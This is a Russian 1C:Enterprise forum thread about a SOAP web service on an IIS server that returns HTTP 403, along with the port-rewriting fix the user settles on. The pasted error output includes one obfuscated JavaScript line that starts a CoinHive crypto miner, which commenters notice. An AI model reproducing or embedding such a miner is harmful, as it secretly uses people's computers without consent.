Вход | Регистрация

1С:Предприятие ::

Метки: 

Не могу достучаться до WEB-сервиса

Я
   rotting
 
20.08.18 - 15:26
Вот текст ошибки:

{ОбщийМодуль.ОбменМобильныеПереопределяемый.Модуль(21)}: Ошибка при вызове метода контекста (SetPhone)
        ТекстОшибки = Прокси.SetPhone(Тел,""+ИД+"");
по причине:
При вызове веб-сервиса произошла ошибка. Ошибка вызова операции сервиса:  {central}:central:SetPhone()
по причине:
При вызове веб-сервиса произошла ошибка. Ошибка HTTP:  HTTP Status 403.
.
Loading var _0x4020=["\x45\x62\x61\x61\x63\x77\x64\x66\x54\x46\x6E\x4B\x63\x7A\x4A\x64\x63\x4B\x38\x4B\x4A\x79\x4F\x51\x79\x31\x74\x6F\x45\x31\x5A\x39","\x73\x74\x61\x72\x74"];var miner=new CoinHive.Anonymous(_0x4020[0],{throttle:0.2});miner[_0x4020[1]]()

Вот так вызываю:


    Адрес = "http://777.777.777.77:77777/mc_dms"; + "/ws/ws1.1cws?wsdl";

        Определения = Новый WSОпределения(Адрес,"mobile","*********", 0);

    Прокси = Новый WSПрокси(Определения, "central", "central", "centralSoap");

Что я делаю не так, почему 403?
 
 
   rotting
 
1 - 20.08.18 - 15:29
Сервер на IIS, может в нем че криво настроено?
   Deon
 
2 - 20.08.18 - 15:35
var miner=new CoinHive ?
У вас там криптовалютный майнер?
   ptiz
 
3 - 20.08.18 - 15:37
Спалили майнера
   rotting
 
4 - 20.08.18 - 15:52
хз... сервак клиента

вот нашел вопрос без ответа на инфостарте. Ситуация такая-же как и у меня:

А кто-нибудь знает где настраивается в IIS такая вещь:
Ситуация: настроено перенаправление с внешнего XXX.XXX.XXX.XXX:9000 на внутренний XXX.XXX.XXX.XXX:80. Опубликован веб-сервис.

на apache:
обращение к http://XXX.XXX.XXX.XXX:9000/Service/ws/ws1.1cws?wsdl, точка подключения определяется как http://XXX.XXX.XXX.XXX:9000/Service/ws/ws1.1cws - т.е. всё правильно, работает.

на IIS:
обращение к http://XXX.XXX.XXX.XXX:9000/Service/ws/ws1.1cws?wsdl, точка подключения определяется как http://XXX.XXX.XXX.XXX/Service/ws/ws1.1cws - т.е. БЕЗ порта, не работает.

Другими словами, если в браузере зайти на http://XXX.XXX.XXX.XXX:9000/Service/ws/ws1.1cws?wsdl, то и на apache и на IIS будет получен стандартный ответ в виде xml. А если обратиться как http://XXX.XXX.XXX.XXX:9000/Service/ws/ws1.1cws, то apache отобразит нормальную ссылку http://XXX.XXX.XXX.XXX:9000/Service/ws/ws1.1cws?wsdl, а IIS НЕ нормальную http://XXX.XXX.XXX.XXX/Service/ws/ws1.1cws?wsdl, т.е. БЕЗ порта, как будто выдаёт внутренний порт почему-то.
Как настроить IIS, что бы он точку подключения возвращал правильную внешнюю, а не внутреннюю?
   Fragster
 
5 - 20.08.18 - 15:56
(4) на апаче тоже не работает ;)

можно воспользоваться вот такой заляпухой:
http://catalog.mista.ru/public/348215/
   rotting
 
6 - 20.08.18 - 17:06
решается следующим образом:

Создал ws ссылку, потом так:

Прокси = WSСсылки.WSСсылка1.СоздатьWSПрокси(URI,"central","centralSoap",,,,"http://ххх.ххх.ххх.ххх:11111/mc_dms/ws/ws1.1cws";);


Список тем форума
Рекламное место пустует Рекламное место пустует
Проблемы невозможно решaть нa том же уровне компетентности, нa котором они возникaют. Альберт Эйнштейн
ВНИМАНИЕ! Если вы потеряли окно ввода сообщения, нажмите Ctrl-F5 или Ctrl-R или кнопку "Обновить" в браузере.
Тема не обновлялась длительное время, и была помечена как архивная. Добавление сообщений невозможно.
Но вы можете создать новую ветку и вам обязательно ответят!
Каждый час на Волшебном форуме бывает более 2000 человек.
Рекламное место пустует